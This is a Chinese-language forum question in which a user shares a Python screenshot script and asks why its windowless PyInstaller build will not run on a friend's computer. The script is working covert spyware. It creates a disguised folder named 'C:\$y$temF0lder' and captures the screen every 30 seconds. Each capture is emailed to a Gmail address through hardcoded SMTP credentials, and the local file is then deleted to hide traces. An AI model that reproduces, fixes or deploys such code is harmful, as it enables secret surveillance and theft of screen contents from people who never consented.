赞
踩
我写了一个程序,把截图发给我的电子邮件地址。我使用pyinstaller使python脚本可执行。我通过执行命令:
pyinstaller-w截图.py-F这个可执行程序在我的电脑上运行得很好
朋友的电脑,我出错说“此应用程序无法在你的电脑上运行。到
查找PC的版本,请与软件发行商联系。“
代码:import os
import time
import string
import random
import smtplib
import pyautogui
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
if os.path.exists('C:\\$y$temF0lder'):
pass
else:
os.mkdir('C:\\$y$temF0lder')
os.chdir('C:\\$y$temF0lder')
def send_mail():
msg = MIMEMultipart()
fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = 'Photos'
text = MIMEText('Pic')
msg.attach(text)
img = open(image_name, 'rb').read()
send_image = MIMEImage(img, name=os.path.basename(image_name))
msg.attach(send_image)
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, 'P@ssword')
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
def main():
global image_name
while True:
name = ''
for i in range(10):
x = random.randint(0,62)
name += string.printable[x]
screenshot = pyautogui.screenshot()
screenshot.save(name + '.png')
image_name = name + '.png'
send_mail()
os.remove(image_name)
time.sleep(30)
if __name__ == '__main__':
main()
如何解决这个问题?
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。